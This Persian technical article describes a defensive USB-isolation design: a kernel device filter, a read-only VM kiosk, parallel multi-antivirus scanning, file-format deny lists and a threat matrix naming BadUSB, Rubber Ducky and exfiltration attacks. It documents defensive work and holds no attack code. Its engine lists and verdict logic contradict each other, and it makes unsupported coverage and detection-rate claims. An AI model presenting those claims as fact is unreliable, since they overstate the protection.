فرض کنید یک نامه مشکوک دارید. بهجای اینکه آن را به یک کارشناس نشان دهید، همزمان به پنج کارشناس مختلف نشان میدهید. اگر حتی یکی بگوید «این خطرناک است»، نامه تحویل داده نمیشود.
این دقیقاً کار MultiAV است: چندین آنتیویروس همزمان و موازی فایلها را بررسی میکنند.
معماری MultiAV Engine
جریان کلی موتور اسکن موازی از ورودی (فایلهای USB) تا خروجی نهایی (انتقال یا قرنطینه) بهصورت زیر است:
موتورهای آنتیویروس موازی
هر فایل بهصورت همزمان به چندین موتور AV مستقل ارسال میشود:
| موتور | تخصص |
|---|---|
| ClamAV | Open Source، Signature DB، اسکن سریع |
| ESET NOD32 | Heuristic پیشرفته، Emulation |
| Kaspersky | Behavioral، Cloud-backed، تحلیل عمیق |
| Sophos | ML-based، Threat Intelligence |
| Windows Defender | AMSI، Cloud Protection |
| AV Container N | توسعهپذیر با YARA Rules و Custom Signatures |
منطق Verdict Engine
تجمیع نتایج بر اساس رأی اکثریت و اصل «هشدار مطلق»:
IF any AV detects malware THEN
verdict = BLOCK
IF all AV clean THEN
verdict = ALLOW
نحوه اسکن موازی (Parallel Scan)
اسکن موازی به معنای اجرای همزمان چند AV روی یک فایل است. زمان کل اسکن برابر با کندترین AV میشود، نه مجموع زمان همه AVها.
سناریوی ۱: فایل سالم — report.docx (2MB)
| موتور | زمان اسکن | نتیجه |
|---|---|---|
| ClamAV | 1.2s | ✅ Clean |
| ESET | 2.1s | ✅ Clean |
| Kaspersky | 2.8s | ✅ Clean |
| F-PROT | 1.7s | ✅ Clean |
| Symantec | 2.0s | ✅ Clean |
زمان کل: ۲.۸ ثانیه (نه ۹.۸ ثانیه) — اسکن موازی: زمان = کندترین AV
Verdict: ✅ ALL CLEAN → Transfer Approved
سناریوی ۲: فایل آلوده — update.exe (500KB)
| موتور | زمان اسکن | نتیجه |
|---|---|---|
| ClamAV | 0.8s | ✅ Clean |
| ESET | 0.6s | 🔴 Trojan.Gen |
| Kaspersky | 2.5s | 🔴 HEUR:Trojan |
| F-PROT | 1.5s | ✅ Clean |
| Symantec | 1.2s | 🔴 Trojan:Win32 |
Verdict: 🔴 ۳ از ۵ موتور تشخیص دادند → BLOCKED + QUARANTINED
هشدار به تیم SOC ارسال میشود.
مزیت اسکن موازی MultiAV
مقایسه بین راهکار تکآنتیویروس و راهکار MultiAV:
| معیار | تک آنتیویروس | MultiAV موازی |
|---|---|---|
| نرخ تشخیص | ۸۵–۹۵٪ | بیش از ۹۹.۵٪ |
| تشخیص Zero-day | ضعیف تا متوسط | بالا (ترکیب heuristic چند AV) |
| زمان اسکن | T | T (نه N×T — موازی است) |
| مدیریت False Positive | یک نظر | رأیگیری اکثریت |
| پوشش انواع بدافزار | وابسته به vendor | جامع و متنوع |
فرآیند انتقال امن فایل به شبکه سازمانی
خط لوله انتقال امن از پنج مرحله متوالی تشکیل شده که هیچ فایلی نمیتواند بدون عبور از تمام آنها به شبکه سازمانی برسد:
مرحله ۱: Mount
USB در VM با پرچم ReadOnly mount میشود — هیچ فایلی قابل اجرا نیست و هیچ نوشتن روی USB انجام نمیشود.
مرحله ۲: Discovery
- بررسی MIME Type واقعی (نه فقط پسوند فایل)
- محاسبه SHA-256 hash برای هر فایل
- تشخیص فایلهای مخفی و سیستمی
- استخراج آرشیوهای تودرتو (
.zip→.rar→.7z→ ...) - تشخیص فایلهایی با پسوند جعلی (مثلاً
.jpgکه واقعاً.exeاست)
مرحله ۳: Policy Check
بررسی سیاستهای سازمانی روی هر فایل:
- فرمتهای مجاز:
.pdf,.docx,.xlsx,.jpg,.png, ... - فرمتهای ممنوع:
.exe,.bat,.ps1,.vbs,.dll, ... - حداکثر حجم فایل: مثلاً 100MB
- حداکثر تعداد فایل: مثلاً 500
⛔ فایلهای ممنوع → حذف + گزارش | ✅ فایلهای مجاز → ادامه به مرحله ۴
مرحله ۴: MultiAV Parallel Scan
هر فایل همزمان به ۴ تا ۸ موتور AV ارسال میشود (طبق جزئیات بخش قبل).
⛔ هر فایل آلوده → قرنطینه + هشدار | ✅ فایلهای سالم → ادامه به مرحله ۵
مرحله ۵: Cleanup
- USB از VM جدا (Detach) میشود
- VM به Snapshot اولیه بازگردانده میشود (Revert)
- تمام تغییرات VM از بین میرود
- گزارش کامل به SIEM ارسال میشود
- کاربر نتیجه را مشاهده میکند
جمعبندی: چرا این معماری USB را کاملاً از کار میاندازد؟
ماتریس پوشش دفاعی
جدول زیر نشان میدهد که هر تهدید در کدام لایه از معماری خنثی میشود:
| تهدید | لایه ۱ (Host Filter) | لایه ۲ (VM Kiosk) | نتیجه نهایی |
|---|---|---|---|
| USB Killer | N/A (الکتریکی) | ایزوله از Host | ⚠️ نیاز به HW Guard |
| BadUSB HID Attack | ★ BLOCKED (Class Filter) | N/A (نمیرسد) | ✅ SAFE |
| Rubber Ducky | ★ BLOCKED (Speed Detect) | N/A (نمیرسد) | ✅ SAFE |
| USB Crazy | ★ BLOCKED (HID Block) | N/A (نمیرسد) | ✅ SAFE |
| Autorun Malware | REDIRECT → VM | ★ BLOCKED (noexec) | ✅ SAFE |
| LNK Exploit | REDIRECT → VM | ★ BLOCKED (Linux VM) | ✅ SAFE |
| Malicious Document | REDIRECT → VM | ★ SCANNED (MultiAV) | ✅ SAFE |
| USB Network | ★ BLOCKED (CDC Block) | N/A (نمیرسد) | ✅ SAFE |
| Hidden Partition | REDIRECT → VM | ★ SCANNED (Full scan) | ✅ SAFE |
| Data Exfiltration | REDIRECT → VM | ★ BLOCKED (No write to USB) | ✅ SAFE |
۱۰ از ۱۰ تهدید شناختهشده USB توسط این معماری پوشش داده میشوند.
USB Killer به دلیل ماهیت الکتریکی، نیاز به یک محافظ سختافزاری مکمل دارد.
خلاصه اجرایی — چرخه کامل حفاظت USB
جریان کامل حفاظت از لحظه اتصال کاربر تا انتقال ایمن فایل به شبکه سازمانی:
❶ اتصال کاربر
کاربر USB را به کامپیوتر وصل میکند.
❷ فیلتر درایور (لایه ۱)
نوع دستگاه بررسی میشود:
- HID / Network / Unknown → فوراً BLOCK
- Mass Storage → REDIRECT به VM
دستگاه هرگز به سیستمعامل اصلی دسترسی پیدا نمیکند.
❸ Passthrough
USB-Redirect دستگاه را از Host جدا و به ماشین مجازی PVM تحویل میدهد.
❹ در VM (لایه ۲)
- USB با محدودیت Mount میشود (
ro, noexec) - هیچ اسکریپت یا برنامهای اجرا نمیشود
- فایلها استخراج شده و ۴ تا ۸ آنتیویروس همزمان اسکن میکنند
❺ انتقال ایمن
فقط فایلهایی که فرمت مجاز دارند و توسط تمام AVها سالم تشخیص داده شدهاند به شبکه سازمانی منتقل میشوند.
❻ Revert
کیوسک به حالت اولیه بازگردانده میشود و هرگونه آلودگی احتمالی نابود میشود.
USB بهعنوان دستگاه عملاً از کار افتاده است، اما فایلهای سالم با اطمینان کامل منتقل میشوند.
این معماری با ترکیب کنترل نرمافزاری در سطح Kernel و ایزولهسازی در ماشین مجازی، دفاع عمیق و مؤثری در برابر تمامی تهدیدات شناختهشده USB فراهم میکند.